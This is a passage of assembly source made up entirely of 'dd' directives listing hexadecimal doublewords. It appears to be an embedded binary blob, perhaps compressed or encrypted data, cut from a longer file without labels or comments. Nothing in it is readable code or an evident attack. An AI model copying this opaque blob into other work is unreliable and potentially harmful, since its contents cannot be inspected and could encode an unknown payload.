0FCA00669h, 56306A4Dh, 4198E401h, 4C89B05Fh dd 34FEF340h, 35720024h, 586E100Ah, 9C028A56h, 8D3B0221h dd 8C0868CCh, 0AE0316B7h, 2A3C00BDh, 42DCAF17h, 3F00D1E4h dd 60CB3D78h, 0DD11C3h, 47FE020Ch, 48F8EFF7h, 9F06663Eh dd 3FC00146h, 0C80A5A45h, 0C29A181Ch, 6A3D19C1h, 2D681D0Ah dd 0F403D069h, 89B2796Bh, 9820661Ah, 142009Dh, 0FCA9CC2Bh dd 0FD14E98Ch, 0E10EBB0h, 18013593h, 0EC40EB0h, 727A53E6h dd 8D03D789h, 28004B2Bh, 9DE11582h, 136496D1h, 0EDCE784h dd 46208FEFh, 0AED2C3CCh, 750A4Ch, 37D96B1Fh, 5C9BA04Ch dd 77001E62h, 58A67A78h, 0C605C2FBh, 73C0D6E6h, 0EDF39440h dd 6040F715h, 0AF816220h, 90C0AD7Eh, 27C7B8Dh, 0CFBD731Eh dd 6074B030h, 9086D119h, 88A0CB75h, 10034E9h, 6B9A9B51h dd 3CBC8Fh, 4D872D0Dh, 4B101439h, 949D2100h, 479F7BA3h dd 0F2F60074h, 0B596FF26h, 3A0093C4h, 76F7B9E9h, 0E2110EE8h dd 0C96D1670h, 0F909001Ah, 468C49CCh, 3E50F000h, 7618081h dd 79DF0071h, 0D74363C3h, 0AA00895Eh, 32FBACE4h, 9809F1h dd 49B08648h, 8E18F27Ch, 0EDC8C100h, 24E3582Eh, 0B76F0034h dd 8674E56Eh, 27003A23h, 0CABB1D82h, 8709D8h, 0A06CC16h dd 0CB938619h, 8CE039h, 563791ABh, 7F14B2Ah, 2DC161D2h dd 0CB72803Dh, 0F6002498h, 12C5370Bh, 39BFCDh, 4095F4C9h dd 2A048B7Ah, 0E4179C00h, 0C5233443h, 0CEF8A856h, 93E5000Bh dd 2B08A7FFh, 0DF07662Ch, 0AF6E3ABh, 0A09F6383h, 181CEE82h dd 395C0FF3h, 0DE00E970h, 128DCEA8h, 7440D646h, 213E60C6h dd 59D14296h, 0BE00B590h, 37BD09B1h, 6B90239Eh, 240F680Dh dd 0CD8001D6h, 841F703Ah, 0D5E51038h, 6810A0h, 5AE35331h dd 35207D54h, 3F470617h, 60C611h, 9B496F50h, 3831ABAFh dd 0E1063970h, 5005BA3Dh, 5DD57D00h, 0E51A7BB1h, 5CB01D4Bh dd 215119E7h, 43AAF0CEh, 6FB4F800h, 199C31ACh, 0D22F00D0h dd 9E1A02Ch, 1C2BB52Bh, 0D70380FDh, 0DACE6EDEh, 80DC1939h dd 0D1AF50C9h, 7BB73E0h, 678E14AEh, 9859E0F5h, 0A9C13A5Bh dd 0C7F03B49h, 32C4C0DBh, 4BA41F0Dh, 0BDC2C043h, 0C07E6B7Ch dd 270FE300h, 0BF97D4FEh, 78BB0E90h, 9680B75Bh, 0F2F0E86Dh dd 80D1583Ah, 0A4A6C8FDh, 0C50699h, 7841D229h, 5D88D6A5h dd 4CC30500h, 5BF76148h, 62B200EDh, 60580145h, 67E2B6F1h dd 0F8006D75h, 13495D57h, 0B0D14ACEh, 0B070197h, 0BE6296BCh dd 63E0D495h, 1E5A1C3Ch, 0DEC7ADB8h, 97E75257h, 4F5A81B9h dd 9AFCD0A3h, 1FC30032h, 93417D20h, 0D9005B1Eh, 4FB9FDA1h dd 3979CF4h, 4CCEDE09h, 0A0AFFA30h, 6902A73Fh, 2358FF00h dd 0ED34B273h, 1B461FEEh, 0A70038A2h, 159D4C2Ch, 0C500B4B3h dd 6B05EF60h, 62461Bh, 0B7A1E02Fh, 97BCD594h, 45619860h dd 0E77C80Fh, 3D0DFC31h, 788255C0h, 141CFE83h, 0F486A5B9h dd 1D317CCFh, 22999Dh, 555243B2h, 1B008668h, 1CF2DA79h dd 7216DA3h, 0E69EEECh, 90EB131Ah, 43A32C93h, 0C9268D99h dd 1592D8E9h, 0A7D03600h, 0F3AA710Ah, 3DDCF712h, 3A080062h dd 21E83EC5h, 3003E7E3h, 645FED1Ah, 0B81DFB5Dh, 0DCE51B1h dd 71CD1E99h, 9FDC00F8h, 68C044EEh, 3BC38981h, 74E80CE1h dd 0B1B04D2Eh, 0A750B000h, 45C2EA99h, 6A38C023h, 86386955h dd 538DEB00h, 74D0BBDFh, 1412003Fh, 54A5B4BEh, 61002A97h dd 0C43C334h, 258B26h, 18A9A4E0h, 70CDE1BFh, 0DA3A800h dd 7409DC63h, 44D900CCh, 8A0E2C24h, 55001247h, 30513252h dd 3ED7C3Ah, 0E67B1B36h, 0C4A8F0EBh, 4A01A1F2h, 0D6825B85h dd 53EC5960h, 0F8730799h, 12D0095Dh, 0B580CEFCh, 1FC4BB11h dd 0DEA89F03h, 0F3AE8DE7h, 82C2C1CCh, 7CA030h, 0C36E311Dh dd 2377541Ch, 5D107F00h, 7D090BADh, 1FCAE896h, 40F3675Ah dd 69340638h, 467D6195h, 0E31BBF07h, 0B0E0523Fh, 0DEA66Ah dd 5B7A5A08h, 0FE4BFF8Ch, 0B65CE81Eh, 3697640h, 12D398h dd 0DC78BFD8h, 85684BA0h, 2D212600h, 14F932F4h, 719D0330h dd 694964CFh, 0C7E939E0h, 97569B0Eh, 0EB320F6h, 3EE2E44h dd 25BE8A7h, 0CD33F2Dh, 27C35800h, 0FB364A4Eh, 8140163h dd 0C8A403DDh, 90E0D3DCh, 0B200D96Ah, 0BF4F0C74h, 71B03C5Ch dd 6BF9008Bh, 7740BCA5h, 4805866Dh, 852F5480h, 0AB19B419h dd 713860h, 676C9432h, 0DC04A46Bh, 0E1BDF300h, 47DE72AAh dd 23FE8FAh, 2C6E8D10h, 0BC801CF9h, 65D932CEh, 80EF5B0Eh dd 8CE1AA23h, 0C7430Bh, 8E7787D5h, 7CD80098h, 0A51473A8h dd 1B007599h, 96A36D11h, 3C37E7h, 0F36EE39h, 2946AAE4h dd 82D7B400h, 3238ECFDh, 3E0D3037h, 0CC0A7308h, 5A033D00h dd 0BBED58B4h, 79870049h, 65ABC89Dh, 0D501728Ah, 0BA06192h dd 70D04E9Fh, 9DA50055h, 53B05C6Ch, 0FCF138D3h, 2276C033h dd 7C674C00h, 0E99F962Bh, 2495741Bh, 4424FFDh, 0AF8075F9h dd 0C21CE3C1h, 0CE94FCh, 3CAC452Ah, 0DB6B04E0h, 437EAA00h dd 0C6F54BE3h, 0FBF20048h, 0D3D9EF16h, 0AC00A779h, 33F774E7h dd 86977Fh, 46823735h, 0EE264E44h, 56B36D0Ch, 5E168BFh dd 9896DBDCh, 54C000C0h, 7F060F79h, 32F95F26h, 0E74A3D07h dd 589A4A0Eh, 8BEA2000h, 29252B1h, 878E2ABDh, 2BC0171Fh dd 7E005475h, 1309CD8Ch, 261DEAh, 0B26A2FCCh, 5D40DA5h dd 409A4600h, 0D1794C63h, 0B3BF006Fh, 3677ACE0h, 0F203B86Eh dd 1CB6373Ch, 0D0D4934Bh, 38BE68h, 0A6338DEEh, 0DD0446ADh dd 0CEDB2412h, 0FEA52C00h, 7865DFB3h, 7550060h, 8243ED29h dd 0B800DDC3h, 52AE25E1h, 0DA97E7h, 317816AFh, 3D63CBFFh dd 64EC4200h, 0BD354967h, 288F12E7h, 0D40C0039h, 0CBA6944Ah dd 0F7003F75h, 0D9FFEF8Bh, 1BDBB47h, 558C57F3h, 80C1A165h dd 57BE9C0h, 92D0E048h, 0B72F3030h, 89FD30D4h, 860023B8h dd 8A35BFECh, 4D332Bh, 52E49F84h, 0F9BB7742h, 0C706C31Fh dd 0C267BC00h, 0E31E4Ah, 28898341h, 6EB6ED05h, 4C122607h dd 3CF0D050h, 2671A604h, 3E8E846Fh, 4097571Eh, 50F8BA34h dd 5300AF4Ah, 0A167C1D4h dd 0EE26B56h, 30EAD77Dh, 81B73D21h, 0E892C1ABh, 0BF00194Ch dd 0D964827Ch, 5E8CEEh, 0C8D3B942h, 0A874EBC2h, 870012E6h dd 62F91F96h, 39BD2B3Bh, 6A806E95h, 83A0DE07h, 471EFF74h dd 8700DB51h, 6BD7903Fh, 2EBD0088h, 0CC23B8A3h, 60DFA966h dd 27996D0Eh, 9DB069FAh, 0E27604E9h, 0A8BE00C4h, 81BAC1B3h dd 3E03F9B1h, 0AADE2B16h, 0DF8FF8EDh, 75EEEA3h, 70BE664h dd 39C0C1BAh, 0FA5C2445h, 91925900h, 650F97A1h, 0F1AD007Ah dd 38A3F40Ah, 8B002D6Bh, 0BB953237h, 26D66A99h, 0E618B5h dd 0EE6C4AD2h, 0AD01DEE4h, 0E112B661h, 58C0D128h, 0D420027h dd 77DCB97Dh, 0FF00BE8Fh, 0B7CF1ABAh, 147F5D6Dh, 0DB740883h dd 0AE9A9F03h, 80A8C218h, 360995Fh, 363BD268h, 2D9783Eh dd 0A822173Dh, 0DE40EBB9h, 60F24616h, 1C506824h, 0C3DE4240h dd 7AD8C0FAh, 366CBACCh, 0C2A01406h, 18F826h, 62869F9Ch dd 0B1744F46h, 0C876F00h, 6B0AE91Fh, 15171E50h, 47E49C81h dd 30B1A2E5h, 0FBD541FCh, 77073003h, 0E0681FF8h, 387E49h dd 87D6C3A0h, 5E6C0B28h, 6EF12A50h, 2FBFDD0Bh, 8EE780BBh dd 9D204FDh, 6174941Fh, 0B020918Ch, 8201A40Bh, 79908089h dd 7318C7h, 0CA2F7007h, 75C29B39h, 0A481C30Ch, 4AD8F013h dd 29B879h, 9BA66F01h, 7CE7011h, 35666123h, 0D0AE177Ch dd 0A82F3833h, 0CFA1ED00h, 628BCBC9h, 7A67001Bh, 0F87C0696h dd 0AE0CF447h, 129C8730h, 4B8F0048h, 0A98D0A9h, 9626D1C0h dd 920084D7h, 0C6CA40F0h, 0A9050030h, 54507773h, 0B0FB4BCh dd 5C8E358h, 97C0B83Ch, 513D8h, 0D4C720C1h, 0D255E0EAh dd 64E348h, 0F9265B9Ah, 49B0EBh, 0DE27B31Ch, 0A9FCA5Fh dd 0B656A407h, 0AF8F80FDh, 2D0F4320h, 0B08B48h, 0E7C0D828h dd 0B9A7DC34h, 14888000h, 3FC2BACBh, 7B70BBh, 0F22C40F7h dd 0B4C6D81Ah, 3736C3Bh, 0AD5FFE1h, 0D4E9C8F5h, 0CABC002Eh dd 0A6283513h, 3200595Ch, 0A2056F7Ah, 0D2988Ch, 42F5D3CCh dd 893D0AA8h, 3CCF2B38h, 0FB440043h, 98F3CD94h, 47960408h dd 0D07B6E2Fh, 17B0D954h, 6B375C0Fh, 6DE38084h, 0B3166Ah dd 0E49B99F8h, 0FA4F940Ch, 4B773800h, 0D8B6DDDEh, 54CC1CF6h dd 0B48F7ADAh, 786943A0h, 7BC11000h, 2100641Ch, 264071E3h dd 7A0AF87h, 84FEBC3Fh, 0DED7C085h, 41002A7Fh, 0E4D5DAD0h dd 0EB8E71Ah, 0D9D15233h, 0A6C52E02h, 138E3940h, 0EF95AC02h dd 4B2A0FCEh, 0B79D8A4h, 7C1E0061h, 0F8942129h, 0DE07D9E5h dd 1CE8CED5h, 0FF3007A0h, 36E90045h, 0C434C627h, 6D24C1B9h dd 0D6098C5Ah, 0EDAC8031h, 90EC4F03h, 2EF7798h, 78F0013Fh dd 94E95EF1h, 0BF19800Ah, 33D7E469h, 0E8DE867h, 9ED28535h dd 9810C5A6h, 0BAD34D16h, 2CE7BC40h, 0E5856Ch, 0C774D263h dd 14685CB7h, 0A120BF61h, 57207D1Fh, 0BCD2006Ch, 0C06E6307h dd 0DE1F15DCh, 84002FABh, 613EC3E4h, 85F000C5h, 6793B8DAh dd 5701948Dh, 0F370E6AEh, 8C472D5Ch, 0A0152580h, 7523000Ch dd 72DE1747h, 790032B5h, 0FE453EBFh, 1C6C9A85h, 116047Ah dd 6899874Eh, 4F2AFCD6h, 32369B00h, 145C7170h, 13DD00ACh dd 8AFF75F0h, 0DF580C5Eh, 0A0A40080h, 0DAD4AE91h, 4228007Bh dd 991D52FCh, 8500B87Ch, 0E44A598Ch, 0F73F7CBh, 0EFCB9A4h dd 904EB003h, 0AC711BE8h, 2A018700h, 196F8463h, 76450E8Bh dd 0A095866Dh, 601AD600h, 1512B9Dh, 0A28FA900h, 616C815Ah dd 864A0052h, 5E6B762Eh, 0AD004CDCh, 8222AA50h, 5ED1620h dd 588A704h, 2ACC00A8h, 0CFEC25Ch, 0B0458100h, 43E1193Dh dd 14427EEBh, 3CF903AEh, 0FDC11800h, 0F0B8BD19h, 5E0EE271h dd 60F967A7h, 1DBB8E60h, 309A0079h, 0B1CAE3A6h, 70001335h dd 0F2E28520h, 0B6125Ch, 0DB1593F6h, 0A8AC4F6Bh, 7C8C354h dd 8900BF7Ch, 2EB6D77Fh, 0E9B31A9Bh, 306870D4h, 0F3299175h dd 83031973h, 0C5EADCBCh, 0E2AD90A8h, 0A92E608Bh, 91D54D75h dd 15FAAF1Eh, 0F96D0900h, 9E8FE9h, 851E74A2h, 50B437A8h dd 9F0E070Eh, 0A01D00EEh, 65648D7h, 0BCEBD475h, 0AD1251E6h dd 6441C485h, 48378A14h, 1761020h, 45CE8213h, 0EF6240C7h dd 388BA00Bh, 83DC0018h, 7F76B5h, 0D9D6C193h, 8A5E9B23h dd 0E1A39703h, 0B8021Ch, 45531A60h, 88709536h, 0A0E41D00h dd 0F398126Eh, 2AB10021h, 73E183B3h, 0A1006B52h, 1AD1F299h dd 7ADDED20h, 0B0D22661h, 0C153000Eh, 6FBA010Fh, 0E658A00h dd 0D6EA094Ch, 0F21600E1h, 6C0FC284h, 0F0EE6F2Bh, 93C81D00h dd 55AE7AD9h, 7C8400ABh, 8191837h, 470098C5h, 0F721A286h dd 0F48331h, 1BF1BF0Dh, 9C67FB39h, 0C904DF00h, 80039424h dd 52F30D9h, 6DBE3E10h, 0FA034F72h, 31DE658Ch, 9386A58Dh dd 0F29D1F20h, 0D585CFC3h, 0C0D126A7h, 89FB8C4h, 5D154400h dd 6D8AAD0Fh, 9CB00E8Dh, 0F7CC7336h, 3A004F80h, 30EF119Fh dd 3123C890h, 5B1808AAh, 7EBA7013h, 2ABA90C1h, 0A88090CAh dd 33974374h, 0D5758D14h, 0A86D5C00h, 0C92C607Dh, 6B7F03h dd 0B49517F3h, 81EA3F23h, 2B2F3600h, 3AE9FF61h, 491000B5h dd 0CD3D8A92h, 0D00EC4BBh, 0F64C76h, 813B04E1h, 0CEDF0040h dd 0F844DCF0h, 0CB03C65Bh, 3DCF6C23h, 0C094FA79h, 31F46419h dd 608524Ah, 1D208126h, 0EBA04615h, 310CF0h, 2C7CEE78h dd 3F9BE963h, 72609500h, 0A4F57661h, 395367B8h, 40B357B5h dd 1921ADDDh, 38AED400h, 0F26913E1h, 565F0035h, 7EE53187h dd 3200F843h, 0A0C226D8h, 0CDFA4ABh, 0CFD59C86h, 574368B0h dd 0EB460C01h, 0C5A0794h, 442541DEh, 60C58125h, 6D75DCA6h dd 0AC03CE76h, 39B75388h, 892800DDh, 0C1447392h, 628C0A4h dd 4B5220DEh, 2634B738h, 0F48F1F31h, 2F075CA8h, 3C9C7E65h dd 0C0B8600Eh, 0E36904h, 281E64FAh, 6F9BECDEh, 0FF7CDD0Ch dd 7AF79CFh, 0BC61D09Eh, 0B904E079h, 889871F1h, 4782B1C0h dd 313ECFh, 0D3D21344h, 888B065Ah, 99E8300Ah, 0B40094DFh dd 5709C7Dh, 64BF00DEh, 96670338h, 177BBD33h, 770039F2h dd 99462F0Fh, 0FBAA5Ch, 0FFA18506h, 92042DC4h, 0E01849FEh dd 0E143FB0h, 4BA20016h, 9BB322F7h, 360FF248h, 147545A4h dd 523C0087h, 29EF4696h, 0FD871DDAh, 5ADD80B9h, 0DB812F79h dd 505BE800h, 37A5D64Dh, 64600C1h, 67392C4Eh, 0F00072E1h dd 44386C8h, 12289DE3h, 109B5CBh, 45A7FE85h, 0D6807F87h dd 21D0E1Eh, 0B1AC3823h, 0CDC0414Bh, 8E656D4h, 0C3EC2E07h dd 80597643h, 0CD053D32h, 0EBF40396h, 7207CA0Ch, 83D92CBh dd 1B2E00D5h, 9CC1123Bh, 75D20764h, 0B06C0CBAh, 1E8C7DAFh dd 0F87F0900h, 7BD913E4h, 0FA8E0059h, 73B9BD51h, 83006148h dd 0AEDEFF34h, 1E88F15Bh, 81B0309Bh, 954E4F4Bh, 270DCB7h dd 69C62C18h, 7CE0A710h, 158A0004h, 5396A882h, 1B003E0Fh dd 0ED9E14C0h, 8D7CD1h, 22EE3BC3h, 97248EFEh, 17303A01h dd 0D4563DEBh, 28F0C60h, 9EDAE154h, 80815929h, 0D06E012Fh dd 0F700DF19h, 8CF2B6E7h, 2C3BD810h, 3979D709h, 12560C73h dd 917947FFh, 0BAF85300h, 886CF0A5h, 28AA0F41h, 0B140F7C7h dd 3E801002h, 1B620500h, 0FAE6E242h, 0CD8D0001h, 0A8889A3Ah dd 31002FB3h, 0D3093656h, 0EA174BEDh, 0EEC00B4h, 30622112h dd 8E7984ADh, 1ECD5300h, 5F7889F1h, 88DE009Ah, 5265F4B2h dd 7E28FF31h, 36079451h dd 20CC563Eh, 0AFC3B0B4h, 0D818005Ch, 0D05BDAE0h, 5801BC99h dd 0F8C7761Ah, 84E1E92Bh, 4748DCh, 7561E578h, 7295E874h dd 9E41EA12h, 8B03CF00h, 73A7E1EDh, 7E3E0024h, 0D2845D3Fh dd 1100424Fh, 104CC265h, 743450CBh, 40440002h, 0D9215C69h dd 2500316Bh, 0FFE481E1h, 7071A887h, 0F5A4A0C9h, 0FA6400C7h dd 25FBDB82h, 0F600E94Dh, 9D166B96h, 0F07E936Fh, 3D4CB026h dd 0F080C9EBh, 952156FEh, 5D0EADBAh, 0C1B290EDh, 92068F0Dh dd 908F7C0h, 7B829CAAh, 10694420h, 0CC01E5B6h, 924A893h dd 0E2F2EBABh, 9C882010h, 0E4FAC51Fh, 85F4A003h, 77FF0D0h dd 1C8A50ABh, 51840091h, 9E00546Bh, 0B96780DAh, 115224h dd 0F6D774A8h, 27E79C28h, 1333EC00h, 26E33B9Ah, 2EA800ADh dd 643524Dh, 3A015C88h, 0F399BE1Eh, 0CEFC916Fh, 0FBC000D1h dd 293E442Bh, 0C077B08h, 0F0982E64h, 66586B0h, 0A06A0075h dd 0AC940939h, 0F1141FC8h, 996387h, 10E0AA38h, 0AD08BAh dd 32B6B1A6h, 57A982Bh, 0CFC22E0Bh, 0EA8807Dh, 1F5AF933h dd 0B6AC76h, 0F13BCE31h, 9A0008EEh, 128EDBFDh, 34D5EECh dd 0D9FEC48Bh, 68002A33h, 45D7BF29h, 0D17DA7h, 744E85B9h dd 36C57DDh, 32672400h, 3D6AEDAAh, 0EE450AFDh, 2F4CCCBh dd 695F2A37h, 0D8062C48h, 455988h, 0B02DDA02h, 69608FBDh dd 19A67616h, 4F4CC900h, 4CA2D2A0h, 0F580440Bh, 7E1BABC9h dd 215DE204h, 1FB153Fh, 0F39CE37Fh, 0BD024A4h, 80277538h dd 0C283B7EBh, 0E9BE38Bh, 0E052F9D9h, 0A1ECBD00h, 0D560749Fh dd 0BB778591h, 13B9049h, 0B77EE7A7h, 306A819Bh, 7D78204Ch dd 45DFCE01h, 4707FE46h, 0F351DD0h, 7BC12F86h, 272BC7FCh dd 0E6C2905Eh, 4D00558Ah, 0B566DACBh, 10426F1h, 0AF69FF5Ah dd 0E3C1AD7Ch, 0EEB0787Ch, 2923C002h, 417A68C9h, 60E05348h dd 0E0100F8h, 3DD5B118h, 0DC031D21h, 48ED1727h, 4FE80065h dd 95B68D53h, 9B3FA5E7h, 526B00F1h, 0C62FA01Eh, 5D531C17h dd 0DD3EC0A7h, 0FEBC430h, 5B5CB600h, 0E9601B4Bh, 0EAA40028h dd 87D4FDAEh, 540069E4h, 17A1AD2Ch, 0E27024h, 0EC0D51A6h dd 0C33991FBh, 2D07E30Bh, 26847486h, 0C47D4108h, 0C5D8E759h dd 1E009D31h, 0EAFC641Dh, 76018Eh, 0F93937D3h, 3018CA80h dd 62813600h, 4F5F129Bh, 0C1A22E4Bh, 35B00090h, 0DEEF8064h dd 7DE16C1Eh, 5253B341h, 30DC583Eh, 0FD98001Bh, 0C69CCC47h dd 0B8000B83h, 0BD0175CBh, 4458B5h, 8153DDD1h, 39E9E4DFh dd 0D68BE00h, 4C2F3E1Bh, 80C90007h, 0B5A77A90h, 0AB000F69h dd 652283A5h, 7B4940h, 0D1081B34h, 473B4225h, 78598800h dd 0B8BE7901h, 1EC60094h, 531B36D0h, 1F0A7341h, 49E2EADh dd 0C9C70300h, 168D24ECh, 715845h, 0E2B34DA8h, 0DA38810Eh dd 19D48F98h, 56320068h, 0CA16CDh, 65BEE674h, 819F5BA5h dd 609AE900h, 48EE1F08h, 71860038h, 52EABDFCh, 0F93C9547h dd 74230FCEh, 6338635Ah, 0B80CD0F0h, 0B0130789h, 607C5E66h dd 9F705F80h, 0A1C4E701h, 0A7E427C8h, 4B5AF8h, 0EF169AD1h dd 0DE13E3F6h, 0FA2EEA00h, 0C0120127h, 0AA450057h, 0D66C658Ch dd 0BA002B22h, 3D4156C9h, 53003B5h, 8B5A3A4Ch, 0A30C00C5h dd 13957A02h, 4B000574h, 6CBDEB1Ch, 0D2A47Bh, 1483A97Fh dd 8EE81B4Dh, 7C012B71h, 31E0E4C6h, 0C8DC371Ch, 0FFDC00B8h dd 0F3B69BD2h, 9E07C135h, 8CC24B1Bh, 6D345C00h, 32D30113h dd 0B1D749Bh, 9DD0BEA8h, 0D7004614h, 0E07E15A7h, 0CC632F03h dd 3300C3FCh, 0B959AECh, 0F15C00E8h, 9FC2E347h, 0DE054A34h dd 0BF8D49E0h, 0A3E6B5C0h, 0F1987Ch, 82F86BAAh, 0D5B23E28h dd 2C409CA2h, 5800CFDBh, 5CFF7BBBh, 36404D7h, 519232E7h dd 6980980Eh, 7014566h, 293C87C4h, 98805B86h, 9EB88D5Eh dd 0F7303467h, 0C94416Dh, 983D0027h, 0B4F32A5Dh, 0F20EEC9Bh dd 0FCB25F56h, 613AEB00h, 7895E04h, 217C34D0h, 40076031h dd 2F04A26Eh, 0C6A585D1h, 80403F87h, 0F0228C61h, 0E2A760Dh dd 40CD395Eh, 597D0281h, 1E2B2049h, 8B588F00h, 0A9D3EBBFh dd 0C5380745h, 8012646Bh, 0AC170943h, 31AD520Fh, 0F83DA6h dd 0C20C8E3h, 0E08D935Dh, 8B1F0070h, 6CD21068h, 0CB043652h dd 0BFEAB167h, 11C40380h, 5B081EF0h, 0F2F1EFDh, 432076A7h dd 0E181DF1h, 0BE1E6FB8h, 42408D96h, 0D28F52BAh, 0ECEECC2h dd 11DAFEDCh, 4F6939E0h, 40F6E257h, 0AE297575h, 0FE01F8A3h dd 633C5B04h, 317BE0C8h, 0E089B74h, 5520805Dh, 674F5B20h dd 72A1038Dh, 137DA8A0h, 508826C8h, 1F958C0Fh, 7CC8A043h dd 0C045E91h, 8CDC31Eh, 3B011718h, 57CCA7DCh, 3C50A2E7h dd 23D15BD5h, 5114462h, 0ED1E12h, 8C8BFB15h, 10016C69h dd 0CCD9C321h, 2440E8h, 35B900A7h, 5742F682h, 8C075459h dd 6D069ED1h, 4F12A09Eh, 146301Eh, 9C4915F3h, 8FDF4528h dd 24D74B18h, 3093692Ah, 0C5BBE87Ah, 0DBE60379h, 0CF7783EAh dd 5E07C1A6h, 24BA8240h, 0D3B3E720h, 0C8E005C6h, 40BE671Bh dd 2B1326ACh, 72F0BFD4h, 80BB173Bh, 376F35C5h, 0E659A4FFh dd 99AD003Fh, 0BD268A14h, 583AA35Dh, 6EBC0010h, 5B574DCDh dd 0CEF100F2h, 0C1D1F306h, 6000A81Ah, 9E5D4488h, 59B391h dd 0D9286392h, 95E50F86h, 99AD300h, 0E90CE266h, 69DE0030h dd 340B17F3h, 7D014161h, 0C1CCEB98h, 0B1E049C8h, 0F9660338h dd 629AE0D0h, 0B779BED8h, 0DC9E1001h, 9CA65399h, 25891881h dd 8FCBD347h, 80356440h, 0A732B494h, 0C4600FB2h, 2281AB37h dd 0DCC70DA4h, 0AD00F951h, 2B0AD838h, 0E6EE48h, 1FD54D28h dd 0B42A3B44h, 0BF3F9700h, 5DC6CE4h, 34D4E018h, 0C1706026h dd 718A2BA0h, 5C87C4F0h, 0B7D85A0Bh, 672600C5h, 0CE7317h dd 0E3449AE1h, 0BF810674h, 707F2E3Eh, 4DBB720Eh, 3B1F0093h dd 0BCFDE15h, 5C882DE6h, 970C1070h, 0F924734Ch, 0B99003Ah dd 0A0E5B108h, 0B900FF17h, 84F9F474h, 0A936DCh, 0FE2E9AA3h dd 38FCE4F7h, 0D9305F03h, 1F31C2Fh, 0EBDC5D60h, 875978EAh dd 0C910F2C0h, 0F1E69D40h, 0E5A8006Dh, 14EAFF6Ah, 8500C8D1h dd 0EE846727h, 3EFA2DDh, 5C906028h, 5DC88C86h, 0AD588DD1h dd 884D01ABh, 81D6DCC5h, 0E009A3E7h, 177C4C3Dh, 0B601E0h dd 0CB4767FBh, 5228FA12h, 3E00CF13h, 0E78F6989h, 0AD8070h dd 0A933DBC2h, 67FF5ED6h, 8A837500h, 0E01A7C8Fh, 5BD40029h dd 0DAA9A789h, 190177C5h, 0AC32B37Bh, 18FDEBFBh, 1DBB02F0h dd 69D9CCh, 99290721h, 52005778h, 0F6D5AB4Bh, 0DEA61Eh dd 0CAACF003h, 91210E77h, 9CBB6A00h, 0B2DCFFEDh, 37037869h dd 0C048CFA4h, 0C5990685h, 0E6C38800h, 0AD8279EBh, 12921C25h dd 0B15402Fh, 0AAFB139Fh, 1B00F177h, 0BF91D548h, 3E7BE859h dd 0C303BA3Fh, 16291114h, 0AC774880h, 0BB07CE00h, 83F290F9h dd 851328AAh, 26C60084h, 4157A633h, 890065DDh, 739BAF3Dh dd 1947869h, 0C2ACD5AAh, 40C7FACDh, 90D877FBh, 0B227D000h dd 3472F4B1h, 0DA5714A2h, 8101AC8Eh, 0D535F074h, 9303E083h dd 591FFE00h, 0B4B50ACBh, 0F8312E8Fh, 0F69401F5h, 0C0E88BC9h dd 49F84C34h, 9178DC00h, 0F7EEB818h, 0E9D30009h, 8B54E7C4h dd 0AA001D0Eh, 2604A29Ch, 3EFF8C66h, 8E01F1FCh, 10BB359Dh dd 1C7BEC52h, 9C71E200h, 8D82D79Eh, 17DD0549h, 0C0B42F22h dd 957DD07Dh, 46FE4100h dd 79A6E44Fh, 0BC9200EDh, 1C664E2Fh, 3A0B8255h, 80B85728h dd 56ED3E24h, 0B6D40767h, 10CC946Ah, 308A5562h, 85669D07h dd 0BBE0AE10h, 0FABDDCBh, 0A7539FEEh, 0B18D9A22h, 8227F840h dd 5D80ED60h, 72FA090h, 9DA1B78Eh, 5F67D0AEh, 9B001940h dd 8009F535h, 9294F1h, 0E712520Fh, 0C14AF958h, 4FD11900h dd 0C493A929h, 99DD0028h, 6587FC8Fh, 0A00A72Dh, 5BCBA4F0h dd 0F4C4C91Ch, 67C37h, 706C8966h, 0B54D7B46h, 818FFD01h dd 0C3624AA6h, 8005D3FFh, 3CE873CDh, 0A400541Ch, 2161F02Dh dd 0EF038C5Ah, 798FF9D8h, 0D413C87Dh, 33A9004Ch, 0B077520Bh dd 473861D6h, 975F0003h, 2E3F93DBh, 0B39C38E0h, 0E44D6F80h dd 8F240B2h, 3BECC00h, 50CD5671h, 1398DBh, 38D30E8Ah, 1DF9D987h dd 6893CF33h, 7F40A078h, 0B204A860h, 47230010h, 0D7F5B0E1h dd 96006B73h, 49DB862Ah, 1B478FCh, 312F6CC8h, 0C817BF7Fh dd 880EF9F2h, 0E79910h, 0E1DE3E95h, 3A4618D0h, 7759F011h dd 7900ABEEh, 2D5766FAh, 0E8563892h, 4E6400C4h, 0D308089h dd 4A0F8EEDh, 0E0C53CECh, 35EE406Ah, 67360033h, 0C3320428h dd 6100976Dh, 6F6EB5F3h, 75DF1C19h, 14090F3Ah, 0A6C00EEDh dd 4E2E42B1h, 7D210407h, 70D01522h, 0F863B295h, 0D5BC0089h dd 7AF1909Ah, 0FD008713h, 0DA3F6B84h, 0B03379h, 8CBD2569h dd 6331C239h, 5874EC00h, 0F4796FDFh, 0FCFD0055h, 2CFDA97h dd 4703526Dh, 0D898D7CCh, 94A8E0AEh, 96BC2821h, 925B0088h dd 34FA5A19h, 0DF00B0E4h, 0B2BF9F8Bh, 280132A2h, 15F52D1Ah dd 0C47DB3E1h, 44A99A00h, 6CCDFC4Bh, 2B771E00h, 0CCB98F84h dd 5556007Fh, 0AC29BE5h, 0CE5463F9h, 8B070EE8h, 88C60901h dd 9E37432Fh, 0A6B8D0CFh, 9F6F038Ch, 0B5C71675h, 4914C0A0h dd 0FA00EC70h, 78177D37h, 322D148h, 0B6ED2CACh, 6EA853F0h dd 960059C7h, 3BB38BF8h, 0B9CA87Ah, 534089EEh, 9AC27100h dd 0D8734493h, 0D4A60F00h, 6988956Dh, 8A1A0060h, 81F8C984h dd 0F20016FBh, 562E4D58h, 71B66Bh, 20B2E31Bh, 0C9D0197Ch dd 4AEA490Fh, 79AF8076h, 6B37D7h, 7AA65C6Fh, 0C702DB43h dd 9AA1F801h, 592D4011h, 0FF9824h, 0AE0F9770h, 4C03B95Ch dd 82332E00h, 0D34B5B71h, 60967D09h, 6D11857h, 7F16DAD0h dd 0BE053EB6h, 0C0AB50A9h, 61FB9194h, 4DC2E403h, 98517508h dd 0FE763Fh, 158EE235h, 423211CCh, 80BF7B38h, 0F4BBE04Dh dd 3F2744EFh, 0AA80B2DBh, 0C60AD229h, 0D4144FADh, 0D0D35Ch dd 0AF514A58h, 4877B125h, 3200DCCDh, 888DCC02h, 5900FDECh dd 51C787A1h, 9FC066h, 0CC8E6CD8h, 0C89BBA50h, 8FC97500h dd 8210358Ch, 32A100FCh, 3FEDCF3Bh, 0B3000527h, 71A203F3h dd 2426B7h, 0A4641E83h, 